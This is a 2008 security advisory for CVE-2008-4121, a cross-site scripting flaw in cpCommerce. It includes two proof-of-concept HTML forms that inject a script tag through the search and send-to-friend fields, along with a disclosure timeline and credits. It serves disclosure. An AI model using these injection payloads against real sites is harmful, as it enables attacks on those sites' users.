http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4121
http://cpcommerce.cpradio.org/
cpCommerce is an open-source e-commerce solution that is maintained by templates and modules.
Assuming cpcommerce is installed on http://localhost/cpcommerce/, anybody could inject JavaScript:
<form method="post" action="http://localhost/cpcommerce/search.php"> <input type="hidden" name="action" value="search.quick"> <input type="text" name="search" value='"><script>alert(1)</script>'> <input type=submit></form>
<form method="post" action="http://localhost/cpcommerce/sendtofriend.php"> <input type="hidden" name="action" value="sendtofriend"> <input type="text" name="name" value='"><script>alert(1)</script>'> <input type=submit></form>
2008-09-23 Vendor contacted
2008-09-23 Vendor released 1.2.4
2008-10-19 Published advisory
The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2008-4121 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems.
This vulnerability was discovered by Fabian Fingerle (published with help from
Hanno Boeck).
It's licensed under the
creative commons attribution license.
Fabian Fingerle, 2008-09-04, http://www.fabian-fingerle.de